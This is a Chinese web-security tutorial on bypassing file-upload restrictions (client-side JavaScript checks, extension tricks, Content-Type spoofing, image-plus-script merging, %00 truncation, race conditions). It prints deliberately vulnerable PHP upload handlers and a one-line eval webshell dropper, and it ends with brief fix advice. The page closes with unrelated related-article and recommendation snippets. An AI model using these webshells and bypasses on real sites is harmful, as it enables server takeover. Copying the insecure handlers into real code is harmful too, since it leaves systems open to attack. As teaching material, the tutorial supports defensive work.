文件上传限制条件(JS、后缀、文件名、类型、截断)绕过及修复建议
在现代互联网的Web应用程序中,上传文件是一 种常见的功能,因为它有助于提高业务效率,比如企业的OA系统,允许用户上传图片、视频、头像和许多其他类型的文件。然而向用户提供的功能越多,Web应用受到攻击的风险就越大,如果Web应用存在文件上传漏洞,那么恶意用户就可以利用文件上传漏洞将可执行脚本程序上传到服务器中,获得网站的权限,或者进一步危害服务器。
上传文件时,如果服务端代码末对客户端上传的文件进行严格的验证和过滤,就容易造成可以上传任意文件的情况,包括上传脚本文件(asp、 aspx、 php、 jsp等格式的文件)。
非法用户可以利用上传的恶意脚本文件控制整个网站,甚至控制服务器。这个恶意的脚本文件,又被称为WebShell,也可将WebShel脚本称为一种网页后门,WebShel脚本具有非常强大的功能,比如查看服务器目录、服务器中的文件,执行系统命令等。
JS检测绕过攻击
JS检测绕过上传漏洞常见于用户选择文件上传的场景,如果上传文件的后缀不被允许,则会弹框告知,此时上传文件的数据包并没有发送到服务端,只是在客户端浏览器使用JavaScript对数据包进行检测。
这时有两种方法可以绕过客户端JavaScript的检测。
- 使用浏览器的插件,删除检测文件后缀的JS代码,然后上传文件即可绕过。
- 首先把需要上传文件的后缀改成允许上传的,如jpg、png等,绕过JS的检测,再抓包,把后缀名改成可执行文件的后缀即可上传成功,如下图所示。
客户端上传文件的HTML代码如下所示,在选择文件时,会调用JS的selectFile函数,函数的作用是先将文件名转换为小写,然后通过substr获取文件名最后一个点号后面的后缀(包括点号)。如果后缀不是"jpg" ,则会弹框提示“请选择jpg格式的照片上传”。
<html>
<head>
<meta charset="utf-8">
<title>JS检查文件后缀</title>
</head>
<body>
<script type="text/javascript">
function selectFile(fnUpload) {
var filename = fnUpload.value;
var mime = filename.toLowerCase().substr(filename.lastIndexOf("."));
if(mime!=".jpg")
{
alert("请选择jpg格式的照片上传");
fnUpload.outerHTML=fnUpload.outerHTML;
}
}
</script>
<form action="upload.php" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" onchange="selectFile(this)" />
<br />
<input type="submit" name="submit" value="submit" />
</form>
</body>
</html>
服务端处理上传文件的代码如下所示。如果上传文件没出错,再通过file_exists判断在upload目录下文件是否已存在,不存在的话就通过move_uploaded file将文件保存到upload目录。此PHP代码中没有对文件后缀做任何判断,所以只需要绕过前端JS的校验就可以上传WebShell.
<?php
if ($_FILES["file"]["error"] > 0)
{
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
}
}
?>
文件名后缀绕过攻击
文件后缀绕过攻击是服务端代码中限制了某些后缀的文件不允许上传,但是有些Apache是允许解析其他文件后缀的,例如在httpd.conf中, 如果配置有如下代码,则能够解析php和phtm|文件。
AddType application/x-httpd php.php.phtml
所以,可以上传一个后缀为phtml的WebShell, 在Apache的解析顺序中,是从右到左开始解析文件后缀的,如果最右侧的扩展名不可识别,就继续往左判断,直到遇到可以解析的文件后缀为止,所以如果上传的文件名类似1.php.xxxx,因为后缀xxxx不可以解析,所以向左解析后缀php。
服务端处理上传文件的代码如下所示。通过函数pathinfo () 获取文件后缀,将后缀转换为小写后,判断是不是"php" ,如果上传文件的后缀是php,则不允许上传,所以此处可以通过利用Apache解析顺序或上传phtml等后缀的文件绕过该代码限制。
<?php
if ($_FILES["file"]["error"] > 0)
{
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
}
else
{
$info=pathinfo($_FILES["file"]["name"]);
$ext=$info['extension'];//得到文件扩展名
if (strtolower($ext) == "php") {
exit("不允许的后缀名");
}
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
}
}
?>
文件类型绕过攻击
在客户端上传文件时,通过Burp Suite抓取数据包,当上传一个php格式的文件时,可以看到数据包中Content-Type的值是application/octet stream,而上传jpg格式的文件时,数据包中Content Type的值是image/jpeg。
如果服务端代码是通过Content-Type的值来判断文件的类型,那么就存在被绕过的可能,因为Content-Type的值是通过客户端传递的,是可以任意修改的。所以当上传一个php文件时, 在Burp Suite中将Content-Type修改image/jpeg,就可以绕过服务端的检测。
服务端处理上传文件的代码如下所示,服务端代码判断$_FILES["file"]["type"]是不是图片的格式(image/gif, image/jpeg, image/pjpeg),如果不是,则不允许上传该文件,而$_FILES["file"]["type"]是客户端请求数据包中的Content-Type,所以可以通过修改Content-Type的值绕过该代码限制。
<?php
if ($_FILES["file"]["error"] > 0)
{
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
}
else
{
if (($_FILES["file"]["type"] != "image/gif") && ($_FILES["file"]["type"] != "image/jpeg")
&& ($_FILES["file"]["type"] != "image/pjpeg")){
exit($_FILES["file"]["type"]);
exit("不允许的格式");
}
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
}
}
?>
在PHP中还存在一种相似的文件上传漏洞,PHP函数getimagesize ()可以获取图片的宽、高等信息,如果上传的不是图片文件,那么getimagesize()就获取不到信息,则不允许上传,代码如下所示。
<?php
if ($_FILES["file"]["error"] > 0)
{
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
}
else
{
if(!getimagesize($_FILES["file"]["tmp_name"])){
exit("不允许的文件");
}
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
}
}
?>
但是,我们可以将一个图片和一 个WebShell合并为一个文件,例如使用以下命令。
cat image.png webslell.php > image.php
此时,使用getimagesize () 就可以获取图片信息,且WebShell的后缀是php,也能被Apache解析为脚本文件,通过这种方式就可以绕过getimagesize()的限制。
文件截断绕过攻击
截断类型:PHP %00截断。
截断原理:由于00代表结束符,所以会把00后面的所有字符删除。
截断条件: PHP版本小于5.3.4,PHP的magic_quotes_gpc为OFF状态。
如图所示,在上传文件时,服务端将GET参数jieduan的内容作为上传后文件名的第一部分,然后将按时间生成的图片文件名作为上传后文件名的第二部分。
修改参数jieduan为1.php%00.jpg
,文件被保存到服务器时,%00会把"jpg"和按时间生成的图片文件名全部截断,那么文件名就剩下1.php,因此成功上传了WebShel脚本。
服务端处理上传文件的代码如下所示,程序使用substr获取文件的后缀,然后判断后缀是否是flv、swf、mp3、mp4、3gp、zip、rar、gif、jpg、png、bmp中的一种,如果不是,则不允许上传该文件。但是在保存的路径中有$_REQUEST['jieduan'],那么此处可以利用00截断尝试绕过服务端限制。
<?php
error_reporting(0);
$ext_arr = array('flv','swf','mp3','mp4','3gp','zip','rar','gif','jpg','png','bmp');
$file_ext = substr($_FILES['file']['name'],strrpos($_FILES['file']['name'],".")+1);
//exit($_FILES['file']['name']);
if(in_array($file_ext,$ext_arr))
{
$tempFile = $_FILES['file']['tmp_name'];
// 这句话的$_REQUEST['jieduan']造成可以利用截断上传
$targetPath = "upload/".$_REQUEST['jieduan'].rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($tempFile,$targetPath))
{
echo '上传成功'.'<br>';
echo '路径:'.$targetPath;
}
else
{
echo("上传失败");
}
}
else
{
echo("不允许的后缀");
}
?>
在多数情况下,截断绕过都是用在文件名后面加上HEX形式的%00来测试,例如filename='1.php%00jpg',但是由于在php中,$ FILES['file']['name']在得到文件名时,%00之后的内容已经被截断了,所以$_FILES['file']['name'] 得到的后缀是php,而不是php%00.jpg, 因而此时不能通过if(in_array($file_ext, $ext_arr))的检查。
竞争条件攻击
一些网站上传文件的逻辑是先允许上传任意文件,然后检查上传的文件是否包含WebShel脚本,如果包含则删除该文件。这里存在的问题是文件上传成功后和删除文件之间存在一个短的时间差(因为要执行检查文件和删除文件的操作),攻击者就可以利用这个时间差完成竞争条件的上传漏洞攻击。攻击者先上传一个WebShel脚本10.php, 10.php的内容是生成一个新的WebShelI脚本shell.php, 10.php的代码如下所示。
<?php
fputs (fopen ('../shell.php', 'w'),'<?php @eval ($_POST[a]) ?>') ;
?>
当10.php上传成功后,客户端立即访问10.php,则会在服务端当前目录下自动生成shell.php,这时攻击者就利用时间差完成了WebShell的上传。
<?php
if ($_FILES["file"]["error"] > 0)
{
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
//为了说明,这里直接让程序sleep 10s。
sleep("10");
unlink("upload/" . $_FILES["file"]["name"]);
}
}
?>
程序获取文件$_FILES ["file"] ["name"] 的代码如上,先判断upload目录下是否存在相同的文件,如果不存在,则直接上传文件,在判断文件是否为WebShell时,还有删除WebShell时,都是需要时间来执行的,如果我们能在删除文件前就访问该WebShell,那么会创建一个新的WebShell,从而绕过该代码限制。
文件上传修复建议
- 通过白名单的方式判断文件后缀是否合法。
- 对上传后的文件进行重命名,例如rand(10, 99).date("YmdHis")."jpg"。
文件上传限制条件(JS、后缀、文件名、类型、截断)绕过及修复建议的更多相关文章
- 文件上传ajaxfileupload.js插件
Html: <div class="container"> <form id="form" runat="serv ...
- 文件上传以及JS链式结构
文件上传: 文件上传使用FileUpload控件,使用控件的SaveAs方法,需要绝对路径. 获取文件的绝对路径:Server.MapPath(相对路径); 或许要上传文件的本身名字用.FileNam ...
- 项目二、自定义文件上传函数(js函数)
/** * 文件上传工具 v1.0 * @param file 要上传的文件 * @param url 要上传到的路径 * @param div 要显示的区域 */ function uploader ...
- 文件上传大小js判断
function fileChange(target) { var fileSize = 0; if (isIE && !target.files) { var filePath = ...
- ctfhub技能树—文件上传—双写后缀
双写后缀绕过 用于只将文件后缀名,例如"php"字符串过滤的场合: 例如:上传时将Burpsuite截获的数据包中文件名[evil.php]改为[evil.pphphp],那么过滤 ...
- 多文件上传 file-uploader.js
插件暴露给用户可以设置的参数 插件构成 声明一个全局对象qq,在对象上封装几个方法,类似JQUERY的方法 qq.extend 合并对象属性,类似$.extend() qq.indexOf 获取元素索 ...
- 文件上传(js, C#)
ajaxFileUpload http://www.cnblogs.com/kissdodog/archive/2012/12/15/2819025.html
- Spring MVC 学习总结(五)——校验与文件上传
Spring MVC不仅是在架构上改变了项目,使代码变得可复用.可维护与可扩展,其实在功能上也加强了不少. 验证与文件上传是许多项目中不可缺少的一部分.在项目中验证非常重要,首先是安全性考虑,如防止注 ...
- MVC文件上传与下载
MVC文件上传与下载 MVC文件上传与下载 想想自己从毕业到工作也有一年多,以前公司的任务的比较重,项目中有的时候需要用到什么东西都去搜索一下,基础知识感觉还没有以前在学校中的好.最近开始写博客,真的 ...
随机推荐
- 兄弟,别再爬妹子图了整点JS逆向吧--陆金所密码加密破解
好久没有写爬虫文章了,今晚上得空看了一下陆金所登录密码加密,这个网站js加密代码不难,适合练手,篇幅有限,完整js代码我放在了这里从今天开始种树,不废话,直接开整. 前戏热身 打开陆金所网站,点击到登 ...
- Linux教学资源服务器构建
1. 需求分析 1.1 课题简介 随着计算机互联网的迅速发展,大多数学校已经实现教学的信息化,从传统的黑板教学方式转变为现阶段的多媒体教学,教学的资源,素材课件,甚至学生的作业也都实现数字化,为了实现 ...
- Hadoop上小文件如何存储?
Block是文件块,HDFS中是以Block为单位进行文件的管理的,一个文件可能有多个块,每个块默认是3个副本,这些块分别存储在不同机器上.块与文件之前的映射关系会定时上报Namenode.HDFS中 ...
- Promise对象入门
简介 promise对象可以获取异步操作的消息,提供统一的API,各个异步操作都可以用同样的方法进行处理. promise对象不受外界影响,其有三种状态:pending(进行中).fulfilled( ...
- 表格取消全选框,用文字表示--Echarts ElementUi
1.先看看实现的图 一. 添加添加复选框列 <el-table v-loading="zongShipLoading" tooltip-effect="dark&q ...
- 浅析一个lua文件窥slua工作机制
slua的东西不是几句话能讲得完,这里只说结论不说原因,原因有空写个Little Slua工程来解释,下面注释中有几个关键点:LuaVar系列类:LuaFunction,LuaTable,LuaDel ...
- dump 内存分析
CPU 及内存占用过大,这也是我们日常调试工作中最常见的两个问题 首先附上两链接 一个样例演示 http://www.cnblogs.com/xioxu/archive/2009/09/04/1560 ...
- 面试【JAVA基础】多线程
本次整理的内容如下: 1.进程与线程的区别 进程是一个可执行的程序,是系统资源分配的基本单位:线程是进程内相对独立的可执行单元,是操作系统进行任务调度的基本单位. 2.进程间的通信方式 2.1.操作系 ...
- IE9 报错 script1004缺少“;”
在IE9中不支持 let关键字,修改为var就可以了 作者:彼岸舞 时间:2020\07\31 内容关于:工作中用到的小技术 本文来源于网络,只做技术分享,一概不负任何责任
- leetcode刷题-55跳跃游戏
题目 给定一个非负整数数组,你最初位于数组的第一个位置. 数组中的每个元素代表你在该位置可以跳跃的最大长度. 判断你是否能够到达最后一个位置. 思路 贪心算法:记录每一个位置能够跳跃到的最远距离,如果 ...